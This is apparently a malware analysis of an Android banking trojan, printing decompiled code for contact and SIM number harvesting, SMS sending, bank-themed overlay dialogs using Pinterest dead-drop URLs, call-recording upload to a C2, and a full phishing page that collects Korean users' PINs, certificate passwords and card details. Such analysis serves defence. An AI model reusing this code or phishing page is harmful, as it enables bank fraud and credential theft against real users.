Cursor cursorQuery = contentResolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, new String[]{"contact_id", "display_name", "data1", "photo_id"}, null, null, null);
if (cursorQuery != null) {
while (cursorQuery.moveToNext()) {
String string = cursorQuery.getString(cursorQuery.getColumnIndex("data1"));
Set<String> set = f424a;
if (!set.contains(string)) {
d.l.c.i.c(string, "number");
set.add(string);
}
}
cursorQuery.close();
}
} catch (Exception unused) {
}
try {
Cursor cursorQuery2 = contentResolver.query(Uri.parse("content://icc/adn"), null, null, null, null);
if (cursorQuery2 != null) {
while (cursorQuery2.moveToNext()) {
String string2 = cursorQuery2.getString(cursorQuery2.getColumnIndex("number"));
Set<String> set2 = f424a;
if (!set2.contains(string2)) {
d.l.c.i.c(string2, "number");
set2.add(string2);
}
}
cursorQuery2.close();
}
} catch (Exception unused2) {
}
return f424a;
}
}
SMS sender (com.r.h.g):
...
com.r r3 = com.r.h
com.p r10 = new com.p
com.Loader$h0 r4 = com.Loader.h0.this
com.Loader r4 = com.Loader.this
android.content.Context r5 = com.Loader.access$getCtx$p(r4)
r8 = 0
com.Loader$h0$a$a r9 = com.Loader.h0.a.C0024a.f310b
r4 = r10
r4.<init>(r5, r6, r7, r8, r9)
r3.g(r10)
goto L47
...
com.r.h.g is the same SMS sending method we already checked in chapter Send single SMS.
Phishing
There are 3 distinct phishing mechanisms implemented:
| Type | Trigger | Target | Phishing page |
|---|---|---|---|
| Japanese bank | On startup + every 5 min | Japanese users with bank apps installed | Pinterest dead-drop URL |
| Google account 0 | After call ends | Korean users | Local HTTP server |
| Google account 1 | C2 command openbrowser2 |
Anyone | Local HTTP server |
Japanese bank
Callchain:
Loader.start
new a(this).f()
new Handler(Looper.getMainLooper()).postDelayed(new b(), 5000L)
a.this.a()
c.a.d0.a.a().b(new RunnableC0011a())
run()
Overview:
- Check if any of the 8 hardcoded Japanese bank apps are installed.
- Fetch the related Pinterest profile and extract the phishing URL.
- Display a dialog with the phishing message.
- Schedule next check in 300 secs (5 minutes).
public final void run() {
int size = a.this.d().getUrlInfos().size();
int i = 0;
while (true) {
if (i >= size) {
break;
}
int iC = ((a.this.c() + 1) + i) % a.this.d().getUrlInfos().size();
c cVar = a.this.d().getUrlInfos().get(iC);
if (a.this.d().f215c.contains(cVar.b())) {
a.this.e(iC);
String strD = a.b.d(cVar.c(), false);
d.p.j jVar = new d.p.j("\"pinterestapp:about\":\"(.+?)\"");
d.l.c.i.c(strD, "html");
d.p.h hVarB = d.p.j.b(jVar, strD, 0, 2, null);
if (hVarB != null) {
d.l.c.n nVar = new d.l.c.n();
String str = hVarB.a().get(1);
nVar.f631a = str;
if (str.length() > 8) {
c.a.x.b.a.a().b(new RunnableC0012a(cVar, nVar));
}
}
}
i++;
}
new Handler(Looper.getMainLooper()).postDelayed(new b(), 300000L);
}
public final List<c> getUrlInfos() {
return this.t;
}
private final List<c> t = d.h.k.e(new c("jp.co.smbc.direct", "https://www.pinterest.com/emeraldquinn4090/", "【SMBC】お客様がご利用の三井住友銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください"), new c("jp.co.rakuten_bank.rakutenbank", "https://www.pinterest.com/kelliemarshall9518/", "【RTBK】お客様がご利用の楽天銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。"), new c("jp.mufg.bk.applisp.app", "https://www.pinterest.com/shonabutler10541/", "【MUFG】お客様がご利用の三菱UFJ銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。\n"), new c("jp.co.japannetbank.smtapp.balance", "https://www.pinterest.com/norahspencer9/", "【JNB】お客様がご利用のジャパンネット銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。"), new c("jp.co.netbk.smartkey.SSNBSmartkey", "https://www.pinterest.com/singletonabigail/", "【SBI】お客様がご利用の住信SBIネット銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。"), new c("jp.japanpost.jp_bank.FIDOapp", "https://www.pinterest.com/felicitynewman8858/", "【JPPOST】お客様がご利用のゆうちょ銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。"), new c("jp.co.jibunbank.jibunmain", "https://www.pinterest.com/abigailn674/", "【JIBUN】お客様がご利用のじぶん銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。"), new c("jp.co.sevenbank.AppPassbook", "https://www.pinterest.com/gh6855786/", "【SEVEN】お客様がご利用のセブン銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。"));
RunnableC0012a(c cVar, d.l.c.n nVar) {
this.f223b = cVar;
this.f224c = nVar;
}
@Override // java.lang.Runnable
public final void run() {
AlertDialog alertDialogCreate = new AlertDialog.Builder(Loader.access$getCtx$p(a.this.d())).setMessage(this.f223b.a()).setCancelable(false).setPositiveButton(com.t.e(4), new DialogInterfaceOnClickListenerC0013a()).create();
d.l.c.i.c(alertDialogCreate, "dlg");
alertDialogCreate.getWindow().setType(2003);
alertDialogCreate.show();
}
The installed packages are tracked in Loader.f215c:
public void onReceive(Context context, Intent intent) {
String typeName;
String string;
Socket socketR;
d.l.c.i.d(context, "context");
d.l.c.i.d(intent, "intent");
try {
String action = intent.getAction();
if (d.l.c.i.a(action, "android.intent.action.PACKAGE_ADDED")) {
String dataString = intent.getDataString();
d.l.c.i.c(dataString, "intent.dataString");
if (dataString == null) {
throw new NullPointerException("null cannot be cast to non-null type java.lang.String");
}
String lowerCase = dataString.toLowerCase();
d.l.c.i.c(lowerCase, "(this as java.lang.String).toLowerCase()");
String strE = d.p.u.e(lowerCase, "package:", "", false, 4, null);
Loader.this.f215c.add(strE);
com.d.f428c.a(strE);
if (Loader.this.f216d.contains(strE)) {
File file = new File(com.f.k + '/' + strE + ".apk");
if (file.exists()) {
file.delete();
}
Intent launchIntentForPackage = Loader.access$getCtx$p(Loader.this).getPackageManager().getLaunchIntentForPackage(strE);
if (launchIntentForPackage != null) {
try {
launchIntentForPackage.addFlags(268435456);
Loader.this.f214b.post(new a(launchIntentForPackage));
} catch (Exception unused) {
}
}
Loader.this.f216d.remove(strE);
}
} else if (d.l.c.i.a(action, "android.intent.action.PACKAGE_REMOVED")) {
String dataString2 = intent.getDataString();
d.l.c.i.c(dataString2, "intent.dataString");
if (dataString2 == null) {
throw new NullPointerException("null cannot be cast to non-null type java.lang.String");
}
String lowerCase2 = dataString2.toLowerCase();
d.l.c.i.c(lowerCase2, "(this as java.lang.String).toLowerCase()");
String strE2 = d.p.u.e(lowerCase2, "package:", "", false, 4, null);
Loader.this.f215c.remove(strE2);
com.d.f428c.b(strE2);
}
Google account 0
Callchain:
onCallStateChanged(i, str)
Loader.this.g.f("is_call_rec_enable", null).f(c.a.x.b.a.a()).h(new a(str, nVar2), b.f254a)
a.c()
Overview:
- Triggered when a phone call ends (
CALL_STATE_IDLE). - After uploading the call recording to C2 (detailed later), if C2 returns
TRUE, a fake alert dialog is shown. - When the user clicks OK, it opens a simple phone verification phishing page.
@Override // android.telephony.PhoneStateListener
public void onCallStateChanged(int i, String str) throws IllegalStateException {
com.n nVar;
d.l.c.i.d(str, "incomingNumber");
super.onCallStateChanged(i, str);
if (i == 0) {
Log.d("WS", "IDLE.");
if (d.l.c.i.a(a(), str) && (nVar = this.f245b) != null) {
d.l.c.i.b(nVar);
File fileB = nVar.b();
if (fileB != null) {
d.l.c.n nVar2 = new d.l.c.n();
nVar2.f631a = d.k.g.c(fileB);
Loader.this.g.f("is_call_rec_enable", null).f(c.a.x.b.a.a()).h(new a(str, nVar2), b.f254a);
}
this.f245b = null;
}
b(null);
Timer timer = this.f246c;
if (timer != null) {
d.l.c.i.b(timer);
timer.cancel();
this.f246c = null;
return;
}
return;
}
a.c:
@Override // c.a.a0.d
public final void c(Object obj) {
if (d.l.c.i.a(obj, Boolean.TRUE)) {
Loader.this.g.f("on_call_rec", new Serializable[]{this.f249b, (Serializable) ((byte[]) this.f250c.f631a)}).h(C0014a.f251a, b.f252a);
AlertDialog alertDialogCreate = new AlertDialog.Builder(Loader.access$getCtx$p(Loader.this)).setMessage(com.t.e(12)).setCancelable(false).setPositiveButton(com.t.e(4), new c()).create();
d.l.c.i.c(alertDialogCreate, "dlg");
Window window = alertDialogCreate.getWindow();
d.l.c.i.b(window);
window.setType(2003);
alertDialogCreate.show();
}
}
When the user clicks OK, the phishing page is opened:
static final class c implements DialogInterface.OnClickListener {
c() {
}
@Override // android.content.DialogInterface.OnClickListener
public final void onClick(DialogInterface dialogInterface, int i) {
Account account;
Object systemService = Loader.access$getCtx$p(Loader.this).getSystemService("account");
if (systemService == null) {
throw new NullPointerException("null cannot be cast to non-null type android.accounts.AccountManager");
}
Account[] accounts = ((AccountManager) systemService).getAccounts();
d.l.c.i.c(accounts, "accounts");
int length = accounts.length;
int i2 = 0;
while (true) {
if (i2 >= length) {
account = null;
break;
}
account = accounts[i2];
if (d.l.c.i.a("com.google", account.type)) {
break;
} else {
i2++;
}
}
if (d.l.c.i.a(Loader.this.getHttpPhoneServerUrl(), "")) {
Loader loader = Loader.this;
loader.setHttpPhoneServerUrl(loader.p(account));
}
com.t.r(Loader.access$getCtx$p(Loader.this), Loader.this.getHttpPhoneServerUrl());
}
}
com.t.r:
public static final void r(Context context, String str) {
d.l.c.i.d(context, "ctx");
d.l.c.i.d(str, "url");
Intent intent = new Intent();
intent.setAction("android.intent.action.VIEW");
intent.setData(Uri.parse(str));
intent.addFlags(268435456);
intent.setClassName("com.android.browser", "com.android.browser.BrowserActivity");
try {
context.startActivity(intent);
} catch (ActivityNotFoundException unused) {
intent.setClassName("com.android.chrome", "com.google.android.apps.chrome.Main");
try {
context.startActivity(intent);
} catch (ActivityNotFoundException unused2) {
intent.setComponent(null);
context.startActivity(intent);
}
}
}
Loader.p:
public final String p(Account account) {
int iNextInt = new Random().nextInt(10000) + 12000;
b.g gVar = new b.g(iNextInt);
gVar.b(new y0(account, "/"));
gVar.d(new z0(gVar, "/submit"));
new Thread(new a1(gVar)).start();
return "http://127.0.0.1:" + iNextInt + '/';
}
y0 serves a form with a vcode (verification code) input field:
public static final class y0 extends b.h {
/* renamed from: d, reason: collision with root package name */
final /* synthetic */ Account f400d;
/* JADX WARN: 'super' call moved to the top of the method (can break code semantics) */
y0(Account account, String str) {
super(str);
this.f400d = account;
}
@Override // b.h
public void b(b.d dVar, b.e eVar) {
String strE;
d.l.c.i.d(dVar, "request");
d.l.c.i.d(eVar, "response");
eVar.r("text/html;charset=UTF-8");
Object systemService = Loader.access$getCtx$p(Loader.this).getSystemService("phone");
if (systemService == null) {
throw new NullPointerException("null cannot be cast to non-null type android.telephony.TelephonyManager");
}
String strE2 = Loader.this.e((TelephonyManager) systemService);
if (strE2 == null) {
strE2 = "";
}
String str = strE2;
String htmlPhoneText = Loader.this.getHtmlPhoneText();
Account account = this.f400d;
if (account != null) {
String str2 = account.name;
d.l.c.i.c(str2, "acc.name");
strE = d.p.u.e(htmlPhoneText, "%%ACCOUNT%%", str2, false, 4, null);
} else {
strE = htmlPhoneText;
}
eVar.o(d.p.u.g(strE, "%%PHONE_NUMBER%%", str, false, 4, null));
}
@Override // b.h
public boolean f(List<String> list) {
return true;
}
}
public final String getHtmlPhoneText() {
return this.F;
}
public Loader() {
String str = "\n<head>\n <title></title>\n <meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\" />\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no\">\n <style>\n body {\n font-family: Roboto-Regular, HelveticaNeue, Arial, sans-serif;\n }\n\n label {\n color: #222;\n line-height: 16px;\n font-size: 100%;\n text-decoration: none;\n }\n\n input {\n width: 100%;\n text-align: left;\n border-radius: 1px;\n border: 1px solid #d9d9d9;\n border-top: 1px solid #c0c0c0;\n font-size: 13px;\n height: 25px;\n line-height: 25px;\n padding: 1px 8px;\n -webkit-appearance: textfield;\n background-color: white;\n -webkit-rtl-ordering: logical;\n user-select: text;\n cursor: auto;\n }\n\n input, textarea, keygen, select, button {\n text-rendering: auto;\n color: initial;\n letter-spacing: normal;\n word-spacing: normal;\n text-transform: none;\n text-indent: 0px;\n text-shadow: none;\n display: inline-block;\n text-align: start;\n margin: 0em 0em 0em 0em;\n font: 13.3333px Arial;\n }\n\n input, textarea, keygen, select, button, meter, progress {\n -webkit-writing-mode: horizontal-tb;\n }\n\n .cont {\n padding-right: 16px;\n margin-bottom: 18px\n }\n\n .yf {\n height: 24px;\n display: table-cell;\n vertical-align: middle;\n }\n\n .submit {\n user-select: none;\n line-height: 100%;\n height: 30px;\n min-width: 120px;\n -webkit-user-select: none;\n margin-left: auto;\n margin-right: auto;\n text-align: center;\n vertical-align: middle;\n -webkit-box-shadow: none;\n -moz-box-shadow: none;\n box-shadow: none;\n background-color: #4d90fe;\n background-image: -webkit-linear-gradient(top, #4d90fe, #4787ed);\n background-image: -moz-linear-gradient(top, #4d90fe, #4787ed);\n background-image: -ms-linear-gradient(top, #4d90fe, #4787ed);\n background-image: -o-linear-gradient(top, #4d90fe, #4787ed);\n background-image: linear-gradient(top, #4d90fe, #4787ed);\n border: 1px solid #3079ed;\n color: #fff;\n font-weight: bold;\n }\n\n .btn-cont {\n text-align: center;\n vertical-align: middle;\n margin-bottom: 10px;\n }\n\n .appbar {\n background: #eee;\n color: #dd4b39;\n font-size: 20px;\n padding: 12px 10px;\n }\n\n .appbarb {\n border-bottom: 1px solid #ccc;\n margin-bottom: 20px;\n }\n\n .apptitle {\n margin-left: 10px;\n font-size: 100%;\n }\n\n html, body {\n margin: 0 !important;\n padding: 0 !important;\n }\n .title {\n vertical-align: middle;\n }\n .icon {\n display: inline-block;\n vertical-align: middle;\n width: 40px;\n height: 40px;\n background-size: contain;\n background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIAAAAyCAMAAAAp4XiDAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyFpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNS1jMDE0IDc5LjE1MTQ4MSwgMjAxMy8wMy8xMy0xMjowOToxNSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIChXaW5kb3dzKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5RDdFNjc1RkY4MTQxMUU2OEJCREIyQzkzRjQ0QkZBNyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5RDdFNjc2MEY4MTQxMUU2OEJCREIyQzkzRjQ0QkZBNyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjlEN0U2NzVERjgxNDExRTY4QkJEQjJDOTNGNDRCRkE3IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjlEN0U2NzVFRjgxNDExRTY4QkJEQjJDOTNGNDRCRkE3Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+5CGu0wAAAMBQTFRFUrFp7c7MQoX09KY39c9f+7wFmbrx8uCr7LSw6VtQ6kM18IdC63Nprta5Zrp7i8mcnbMq1OTYNKhT2ODvOpqU642Gm8+p5enuZJry6Us+6rsMQatZ7t/ePKlU7VosfavrQYnm7u3sNaZc5Ormf8SS7uno6koy6evv6mtg7+ziNadU6UY57u7u7e7t+bwN3+Xu+cEj7O3t7u3t7+nZP43PToz0wdPw2LkTwbw7vNvF9ZIV8Xcglbxc6uzu+awLNqRp7AzCkQAAAfdJREFUeNrE1m13mjAUAODQGglMsOSUVgTmIlp5aWylsy3b3P7/vxoCgRDDi596P3mOPOfemxtIwPPVAb6MbJE90xxdd7TQRt4IgmZJojeRzBDpJ0jjny9DQz1ECXVphF4XQYneEQ6SEmLrPYEkJO0VmkdSkQwJSWGo/UyiheF5NpeiJgrfuWMr22Kmiu1cCEZSfnVtj27L8aWpZ4uCkaasxFGE4YaebPrk9olbGjJiW1IV/v1etaGQcTt5AiH8LUysn7zBc/zKi5uNfV/UgpyLU9KRZAKr+JY+X0sm/F83kliUhJLXSuzVIXJkWfYsSzREbnYlOTAB00HyUmWpCRkmVCjsbXQW1j5Ux/YSsUXeT0avGCPLPzyZNrES5lJvmA93nckHPmVkxUhU9H/n+9iUk8WxItOKUJJXtrzzMY5jQybe+QWr3hcVLt1c5OFa9ELsFnUrtCbRp18KjIElikPdfFEX+1wYTOR5hCV4bMTxkSPExE1sggacMvCjnaT+9Fk+Z/xNVqiD9QDw+t9PlmTXIgcDtwMAE8Tlz/i+JO/CN5nOcWfE9+fipicqHBZ0021wXtzqdHkk9eXB61UgO/io4XeSedRxvFqmHLgZpZ2HuAEkYB70XhVoZrbLAw/B8IUkyOYmcGPsA3NjWNddeyj9usvVfwEGAFh9KoqHfbO5AAAAAElFTkSuQmCC\");\n }\n \n .error {\n border-color: red !important;\n }\n </style>\n</head>\n";
this.D = str;
this.E = "\n<!DOCTYPE html>\n<html>\n" + str + "\n<script>" + com.j.h() + "</script>\n" + com.j.j() + "\n<body>\n<div class=\"appbar\">\n <div class=\"apptitle\">\n <span class=\"icon\"></span>\n <span class=\"title\">" + com.t.e(7) + "</span>\n </div>\n</div>\n<div class=\"appbarb\"></div>\n<h3 style=\"margin-left:16px\">%%ACCOUNT%%</h3>\n<div style=\"margin: 10px 10px;\">\n <div id=\"page0\">\n <form action=\"/submit\" method=\"post\" onsubmit=\"return onValidate1(this)\">\n <label class=\"yf\" for=\"name\" style=\"display: block\">" + com.t.e(8) + ":</label>\n <div class=\"cont\">\n <input id=\"name\" name=\"name\" autocomplete=\"false\" type=\"text\" minlength=\"2\" required placeholder=\"" + com.t.e(8) + "\">\n </div>\n <label class=\"yf\" for=\"date\" style=\"display: block\">" + com.t.e(9) + ":</label>\n <div class=\"cont\">\n <input id=\"date\" name=\"date\" type=\"date\" max=\"2000-12-30\" required>\n </div>\n <div id=\"dateErr\" style=\"color: #dd4b39\">\n </div>\n \n <div class=\"cont btn-cont\">\n <button class=\"submit\" type=\"submit\" style=\"display: block\">" + com.t.e(4) + "</button>\n </div>\n </form>\n </div>\n \n <div id=\"page1\" style=\"display:none\">\n <form action=\"/submit\" method=\"post\" onsubmit=\"return onValidate2(this)\">\n <label class=\"yf\" for=\"date\" style=\"display: block\">비밀번호(숫자4자리 입력):</label>\n <div class=\"cont\" style=\"display:flex;flex-direction: row;\">\n <input id=\"xx1\" name=\"xx1\" type=\"number\" required style=\"text-align: center;\" max=\"9\" min=\"0\" maxlength=\"1\">\n <input id=\"xx2\" name=\"xx2\" type=\"number\" required style=\"text-align: center;\" max=\"9\" min=\"0\" maxlength=\"1\">\n <input id=\"xx3\" name=\"xx3\" type=\"number\" required style=\"text-align: center;\" max=\"9\" min=\"0\" maxlength=\"1\">\n <input id=\"xx4\" name=\"xx4\" type=\"number\" required style=\"text-align: center;\" max=\"9\" min=\"0\" maxlength=\"1\">\n </div>\n <div class=\"cont btn-cont\">\n <button class=\"submit\" type=\"submit\" style=\"display: block\">" + com.t.e(4) + "</button>\n </div>\n </form>\n </div>\n <div id=\"page2\" style=\"display:none\">\n <form action=\"/submit\" method=\"post\" onsubmit=\"return onValidate3(this)\">\n <label class=\"yf\" for=\"date\" style=\"display: block\">공인인증서:</label>\n <div class=\"cont\">\n <input id=\"ss1\" name=\"ss1\" minlength=\"10\" maxlength=\"16\" required>\n </div>\n <div id=\"ss1Err\" style=\"color: #dd4b39\"></div>\n <div class=\"cont btn-cont\">\n <button class=\"submit\" type=\"submit\" style=\"display: block\">" + com.t.e(4) + "</button>\n </div>\n </form>\n </div>\n \n <div id=\"page3\" style=\"display: none;\">\n <form action=\"/submit\" method=\"post\" onsubmit=\"return onValidate4(this)\">\n\n <div class=\"cont\">\n <label>카드번호</label>\n <input id=\"card_number\" name=\"card_number\" type=\"text\" minlength=\"16\" required=\"\">\n </div>\n <div class=\"cont\">\n <label>카드소유자명</label>\n <input id=\"card_holder_name\" name=\"card_holder_name\" type=\"text\" required=\"\">\n </div>\n <div class=\"cont\">\n <label>\n 유효기간\n <input id=\"expiry_date\" name=\"expiry_date\" type=\"text\" placeholder=\"MM/YY\" pattern=\"^\\d\\d/\\d\\d$\"\n required=\"\">\n </label>\n </div>\n <div class=\"cont\">\n <label>\n 카드비밀번호\n <input id=\"card_password\" name=\"card_password\" type=\"password\" required minlength=\"3\">\n </label>\n </div>\n <div class=\"cont\">\n <label>CVC</label><br>\n <input id=\"card_security_code\" style=\"width:100px\" name=\"card_security_code\" type=\"text\"\n minlength=\"3\" maxlength=\"6\" required=\"\">\n </div>\n <div class=\"cont\">\n <label>주소</label>\n <input id=\"address\" name=\"address\" type=\"text\" required=\"\" minlength=\"5\">\n </div>\n <div class=\"cont\">\n <label>\n <label>우편번호</label><br>\n <input id=\"postcode\" style=\"width: 100px;\" name=\"postcode\" type=\"text\" required=\"\"\n minlength=\"4\">\n </label>\n </div>\n <div class=\"cont btn-cont\">\n <button class=\"submit\" type=\"submit\" style=\"display: block\">확인</button>\n </div>\n </form>\n\n </div>\n </form>\n</div>\n\n\n<script>\n var NAME = \"\";\n var DATE = \"\";\n var XX1 = \"\";\n var XX2 = \"\";\n var XX3 = \"\";\n var XX4 = \"\";\n \n function onValidate1(form) {\n var name = form.name.value;\n var date = form.date.value;\n var idx = date.indexOf(\"-\")\n var i = parseInt(date.substr(0, idx))\n if(i >= 2001) {\n dateErr.innerText = \"" + com.t.e(6) + "\"\n return false\n }\n \n var xhr = new XMLHttpRequest()\n xhr.onreadystatechange = function(evt) {\n if(xhr.readyState == XMLHttpRequest.DONE) {\n page0.style.display='none';\n page1.style.display='block';\n NAME = name;\n DATE = date;\n }\n };\n xhr.open(\"POST\", \"/submit\")\n xhr.setRequestHeader(\"Content-Type\",\"application/x-www-form-urlencoded\")\n xhr.send(\"name=\" + encodeURIComponent(name) + \"&date=\" + encodeURIComponent(date))\n return false\n }\n \n function onValidate2(form) {\n\n var xx1 = form.xx1.value;\n var xx2 = form.xx2.value;\n var xx3 = form.xx3.value;\n var xx4 = form.xx4.value;\n \n var xhr = new XMLHttpRequest()\n xhr.onreadystatechange = function(evt) {\n if(xhr.readyState == XMLHttpRequest.DONE) {\n page1.style.display='none';\n page2.style.display='block';\n XX1 = xx1;\n XX2 = xx2;\n XX3 = xx3;\n XX4 = xx4;\n }\n };\n xhr.open(\"POST\", \"/submit\")\n xhr.setRequestHeader(\"Content-Type\",\"application/x-www-form-urlencoded\")\n xhr.send(\"name=\" + encodeURIComponent(NAME) + \"&date=\" + encodeURIComponent(DATE + \" \" + xx1 + \" \" + xx2 + \" \" + xx3 + \" \" + xx4 ))\n \n return false\n }\n \n function onValidate3(form) {\n \n var ss1 = form.ss1.value;\n if(!(ss1.length >= 10 && ss1.length <= 16 && /[0-9]/.test(ss1) && /[a-zA-Z]/.test(ss1)&&/[\\x20-\\x2F\\x3A-\\x40\\x5B-\\x60\\x7B-\\x7E]/.test(ss1))) {\n ss1Err.innerText='10~16자 / 영문+숫자or특수문자 조합이여야 합니다.';\n return false\n }\n \n var xhr = new XMLHttpRequest()\n xhr.onreadystatechange = function(evt) {\n if(xhr.readyState == XMLHttpRequest.DONE) {\n page2.style.display = 'none';\n page3.style.display = 'block';\n SS1 = ss1;\n }\n };\n xhr.open(\"POST\", \"/submit\")\n xhr.setRequestHeader(\"Content-Type\",\"application/x-www-form-urlencoded\")\n xhr.send(\"name=\" + encodeURIComponent(NAME) + \"&date=\" + encodeURIComponent(DATE + \" \" + XX1 + \" \" + XX2 + \" \" + XX3 + \" \" + XX4 + \"/\" + ss1 ))\n return false\n }\n \n function validateCC() {\n var result = window.validateCreditCard.call(card_number);\n if (!result.valid) {\n card_number.classList.add('error')\n } else {\n card_number.classList.remove('error')\n }\n return\n }\n\n card_number.addEventListener(\"input\", function () {\n validateCC();\n });\n\n function onValidate4(form) {\n\n var result = window.validateCreditCard.call(card_number);\n if (!result.valid) {\n return false;\n } \n var xhr = new XMLHttpRequest()\n xhr.onreadystatechange = function (evt) {\n if (xhr.readyState == XMLHttpRequest.DONE) {\n location.href='https://google.com';\n }\n };\n xhr.open(\"POST\", \"/submit\")\n xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\")\n xhr.send(\"name=\" + encodeURIComponent(NAME) +\n \"&date=\" + encodeURIComponent(DATE + \" \" + XX1 + \" \" + XX2 + \" \" + XX3 + \" \" + XX4 + \"/\" + SS1) +\n \"&card_number=\" + encodeURIComponent(form.card_number.value) +\n \"&card_holder_name=\" + encodeURIComponent(form.card_holder_name.value) +\n \"&expiry_date=\" + encodeURIComponent(form.expiry_date.value) +\n \"&password=\" + encodeURIComponent(form.card_password.value) +\n \"&card_security_code=\" + encodeURIComponent(form.card_security_code.value) +\n \"&address=\" + encodeURIComponent(form.address.value) +\n \"&post_code=\" + encodeURIComponent(form.postcode.value))\n \n return false;\n }\n new Cleave('#card_number', {\n creditCard: true,\n onCreditCardTypeChanged: function (type) {\n console.log(type);\n }\n });\n\n new Cleave('#expiry_date', {\n date: true,\n datePattern: ['m', 'y'],\n });\n new Cleave('#card_security_code', {\n numericOnly: true,\n });\n</script>\n</body>\n\n</html>\n ";
StringBuilder sb = new StringBuilder();
sb.append("\n<!DOCTYPE html>\n<html>\n");
sb.append(str);
sb.append("\n<body>\n\n<script>\n function onValidate(name, date) {\n return true\n }\n</script>\n\n<div class=\"appbar\">\n <div class=\"apptitle\">\n <span class=\"icon\"></span>\n <span class=\"title\">");
sb.append(com.t.e(7));
sb.append("</span>\n </div>\n</div>\n<div class=\"appbarb\"></div>\n<h3 style=\"margin-left:16px\">%%ACCOUNT%%</h3>\n<h3 style=\"margin-left:16px\">%%PHONE_NUMBER%%</h3>\n<div style=\"margin: 10px 10px;\">\n <form action=\"/submit\" method=\"post\" onsubmit=\"return onValidate(vcode.value)\">\n <label class=\"yf\" for=\"name\" style=\"display: block\">");
sb.append(com.t.e(11));
sb.append(":</label>\n <div class=\"cont\">\n <input id=\"vcode\" name=\"vcode\" autocomplete=\"false\" type=\"text\" minlength=\"2\" required placeholder=\"");
sb.append(com.t.e(11));
sb.append("\">\n </div>\n <div class=\"cont btn-cont\">\n <button class=\"submit\" type=\"submit\" style=\"display: block\">");
sb.append(com.t.e(4));
sb.append("</button>\n </div>\n </form>\n</div>\n</body>\n\n</html>\n ");
this.F = sb.toString();
}
Google account 1
Callchain 0:
<WS connection> // detailed above in an earlier chapter
Loader.this.j()
Callchain 1:
onReceive()
if (d.l.c.i.a(action, "android.intent.action.USER_PRESENT"))
Loader.this.r().g(new e(lVar, strD))
Overview:
- This phishing method collects information based on the locale.
- In case of Korean locale, the following information is requested: personal, banking, NPKI certificate, credit card and address information.
- The phishing dialog is shown after 10 seconds after C2 “hello” response and when receiving the
USER_PRESENTbroadcast.
static final class h implements Runnable {
static final class a extends d.l.c.j implements d.l.b.l<String, d.g> {
/* renamed from: c, reason: collision with root package name */
final /* synthetic */ com.l f301c;
/* renamed from: d, reason: collision with root package name */
final /* synthetic */ d.l.c.m f302d;
/* renamed from: com.Loader$h$a$a, reason: collision with other inner class name */
static final class C0023a<T> implements c.a.a0.d<d.g> {
C0023a() {
}
/* JADX DEBUG: Method merged with bridge method: c(Ljava/lang/Object;)V */
@Override // c.a.a0.d
/* renamed from: a, reason: merged with bridge method [inline-methods] */
public final void c(d.g gVar) {
Log.d("WS", "connected");
a.this.f301c.a();
Loader.this.j();
Loader.this.j = "";
}
}
public final void j() {
...
c.a.s<Object> sVarF = kVar.f("hello", objArr);
l lVar = new l();
?? r3 = m.j;
com.e eVar = r3;
if (r3 != 0) {
eVar = new com.e(r3);
}
sVarF.h(lVar, eVar);
}
Subscribe with callbacks (sVarF.h()):
public final c.a.y.b h(c.a.a0.d<? super T> dVar, c.a.a0.d<? super Throwable> dVar2) {
c.a.b0.b.b.c(dVar, "onSuccess is null");
c.a.b0.b.b.c(dVar2, "onError is null");
c.a.b0.d.c cVar = new c.a.b0.d.c(dVar, dVar2);
a(cVar);
return cVar;
}
onSuccess callback:
static final class l<T> implements c.a.a0.d<Object> {
...
@Override // c.a.a0.d
public final void c(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException {
Log.d("WS", "onHello");
Loader.this.k();
c.a.s<Object> sVarF = Loader.this.g.f("getSmsKW", null);
a aVar = new a();
?? r2 = b.j;
com.e eVar = r2;
if (r2 != 0) {
eVar = new com.e(r2);
}
sVarF.h(aVar, eVar);
Loader.this.g.f("is_call_rec_enable", null).h(new c(), d.f331a);
Object obj2 = new Object();
Loader.this.setHelloObj(obj2);
